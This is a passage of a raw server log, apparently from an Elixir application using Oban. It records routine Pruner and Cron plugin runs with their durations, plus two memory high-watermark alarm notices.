{"source":"oban","duration":2348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.479 [info] {"source":"oban","duration":352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:08:11.547 [info] {"source":"oban","duration":2287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:41.549 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.481 [info] {"source":"oban","duration":977,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:09:11.551 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:41.553 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.483 [info] {"source":"oban","duration":1075,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:10:11.555 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:41.558 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.484 [info] {"source":"oban","duration":327,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:11:11.561 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:41.563 [info] {"source":"oban","duration":1810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.486 [info] {"source":"oban","duration":535,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:12:11.566 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:41.570 [info] {"source":"oban","duration":3246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.487 [info] {"source":"oban","duration":460,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:13:11.572 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:41.575 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.488 [info] {"source":"oban","duration":659,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:14:11.577 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:41.579 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.489 [info] {"source":"oban","duration":442,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:15:11.582 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:41.585 [info] {"source":"oban","duration":1908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.490 [info] {"source":"oban","duration":626,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:16:11.589 [info] {"source":"oban","duration":2493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:41.595 [info] {"source":"oban","duration":5685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.492 [info] {"source":"oban","duration":587,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:17:11.598 [info] {"source":"oban","duration":1913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:41.602 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.494 [info] {"source":"oban","duration":468,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:18:11.605 [info] {"source":"oban","duration":2520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:41.608 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.504 [info] {"source":"oban","duration":9059,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:19:11.610 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:41.612 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.506 [info] {"source":"oban","duration":1333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:20:11.614 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:41.616 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.507 [info] {"source":"oban","duration":451,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:21:11.620 [info] {"source":"oban","duration":2267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:41.623 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.508 [info] {"source":"oban","duration":403,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:22:11.625 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:41.631 [info] {"source":"oban","duration":5203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.509 [info] {"source":"oban","duration":608,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:23:11.633 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:41.636 [info] {"source":"oban","duration":2843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.510 [info] {"source":"oban","duration":393,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:24:11.640 [info] {"source":"oban","duration":2539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:41.642 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.511 [info] {"source":"oban","duration":751,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:25:11.644 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:41.646 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.515 [info] {"source":"oban","duration":803,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:26:11.648 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:41.650 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.516 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:27:11.652 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:41.655 [info] {"source":"oban","duration":2738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.517 [info] {"source":"oban","duration":470,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:28:11.658 [info] {"source":"oban","duration":1902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:41.661 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.519 [info] {"source":"oban","duration":650,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:29:11.664 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:41.667 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.521 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:30:11.669 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:41.671 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.523 [info] {"source":"oban","duration":829,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:31:11.674 [info] {"source":"oban","duration":1941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:41.676 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.524 [info] {"source":"oban","duration":581,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:32:11.678 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:41.680 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.525 [info] {"source":"oban","duration":416,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:33:11.682 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:41.684 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.526 [info] {"source":"oban","duration":409,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:34:11.689 [info] {"source":"oban","duration":2918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:41.692 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.527 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:35:11.694 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:41.697 [info] {"source":"oban","duration":2514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.528 [info] {"source":"oban","duration":398,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:36:11.701 [info] {"source":"oban","duration":2196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:41.704 [info] {"source":"oban","duration":2213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.529 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:37:11.706 [info] {"source":"oban","duration":1835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:41.709 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.530 [info] {"source":"oban","duration":569,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:38:11.711 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:41.713 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.532 [info] {"source":"oban","duration":1188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:39:11.717 [info] {"source":"oban","duration":1956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:41.720 [info] {"source":"oban","duration":2120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.533 [info] {"source":"oban","duration":559,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:40:11.723 [info] {"source":"oban","duration":2132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:41.726 [info] {"source":"oban","duration":2105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.536 [info] {"source":"oban","duration":1104,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:41:11.729 [info] {"source":"oban","duration":2282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:41.731 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.537 [info] {"source":"oban","duration":680,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:42:11.739 [info] {"source":"oban","duration":7685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:41.742 [info] {"source":"oban","duration":2274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.538 [info] {"source":"oban","duration":558,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:43:11.746 [info] {"source":"oban","duration":2870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:41.748 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.540 [info] {"source":"oban","duration":485,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:44:11.752 [info] {"source":"oban","duration":3174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:41.758 [info] {"source":"oban","duration":4903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.541 [info] {"source":"oban","duration":626,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:45:11.761 [info] {"source":"oban","duration":1997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:41.763 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.543 [info] {"source":"oban","duration":596,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:46:11.766 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:41.769 [info] {"source":"oban","duration":2200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.545 [info] {"source":"oban","duration":970,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:47:11.772 [info] {"source":"oban","duration":2654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:41.774 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.547 [info] {"source":"oban","duration":610,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:48:11.776 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:41.778 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.548 [info] {"source":"oban","duration":680,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:49:11.782 [info] {"source":"oban","duration":2113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:41.784 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.550 [info] {"source":"oban","duration":552,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:50:11.787 [info] {"source":"oban","duration":1805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:41.790 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.556 [info] {"source":"oban","duration":5130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:51:11.792 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:41.794 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.557 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:52:11.796 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:41.799 [info] {"source":"oban","duration":1917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.560 [info] {"source":"oban","duration":744,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:53:11.812 [info] {"source":"oban","duration":12824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:41.817 [info] {"source":"oban","duration":2879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.561 [info] {"source":"oban","duration":665,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:54:11.829 [info] {"source":"oban","duration":3563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:41.832 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.563 [info] {"source":"oban","duration":1064,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:55:11.837 [info] {"source":"oban","duration":4291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:41.839 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.564 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:56:11.841 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:41.844 [info] {"source":"oban","duration":2290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.566 [info] {"source":"oban","duration":1027,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:57:11.851 [info] {"source":"oban","duration":5957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:41.853 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.567 [info] {"source":"oban","duration":677,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:58:11.855 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:41.857 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.569 [info] {"source":"oban","duration":773,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:59:11.860 [info] {"source":"oban","duration":1978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:41.862 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.571 [info] {"source":"oban","duration":341,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:00:11.866 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:41.869 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.572 [info] {"source":"oban","duration":627,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:01:11.873 [info] {"source":"oban","duration":2981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:20.108 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 05:01:41.876 [info] {"source":"oban","duration":1955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.574 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:02:11.878 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:41.883 [info] {"source":"oban","duration":2926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.576 [info] {"source":"oban","duration":791,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:03:11.887 [info] {"source":"oban","duration":3326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:41.889 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.577 [info] {"source":"oban","duration":575,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:04:11.893 [info] {"source":"oban","duration":2999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:41.895 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.578 [info] {"source":"oban","duration":519,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:05:11.900 [info] {"source":"oban","duration":2981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:41.903 [info] {"source":"oban","duration":2143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.579 [info] {"source":"oban","duration":375,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:06:11.906 [info] {"source":"oban","duration":2291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:41.909 [info] {"source":"oban","duration":2297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.580 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:07:11.911 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:41.915 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.582 [info] {"source":"oban","duration":532,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:08:11.918 [info] {"source":"oban","duration":2264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:41.921 [info] {"source":"oban","duration":2148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.584 [info] {"source":"oban","duration":1104,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:09:11.924 [info] {"source":"oban","duration":1930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:41.926 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.585 [info] {"source":"oban","duration":651,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:10:11.929 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:41.934 [info] {"source":"oban","duration":4319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.587 [info] {"source":"oban","duration":443,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:11:11.938 [info] {"source":"oban","duration":1753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:41.940 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.588 [info] {"source":"oban","duration":495,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:12:11.942 [info] {"source":"oban","duration":1767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:41.945 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.591 [info] {"source":"oban","duration":2180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:13:11.951 [info] {"source":"oban","duration":2883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:41.955 [info] {"source":"oban","duration":3659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.593 [info] {"source":"oban","duration":1336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:14:11.959 [info] {"source":"oban","duration":2090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:41.962 [info] {"source":"oban","duration":1805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.595 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:15:11.965 [info] {"source":"oban","duration":2387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:41.969 [info] {"source":"oban","duration":2263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.597 [info] {"source":"oban","duration":577,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:16:11.971 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:41.974 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.598 [info] {"source":"oban","duration":407,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:17:11.976 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:41.978 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.599 [info] {"source":"oban","duration":440,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:18:11.982 [info] {"source":"oban","duration":3025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:41.984 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.600 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:19:11.987 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:41.991 [info] {"source":"oban","duration":2079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.602 [info] {"source":"oban","duration":391,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:20:11.993 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:20.230 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 05:20:41.995 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.603 [info] {"source":"oban","duration":702,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:21:11.998 [info] {"source":"oban","duration":1997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:42.000 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.605 [info] {"source":"oban","duration":418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:22:12.002 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:42.004 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.606 [info] {"source":"oban","duration":467,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:23:12.007 [info] {"source":"oban","duration":2553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:42.009 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.607 [info] {"source":"oban","duration":509,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:24:12.011 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:42.014 [info] {"source":"oban","duration":2286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.609 [info] {"source":"oban","duration":1455,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:25:12.017 [info] {"source":"oban","duration":2241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:42.021 [info] {"source":"oban","duration":3300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.611 [info] 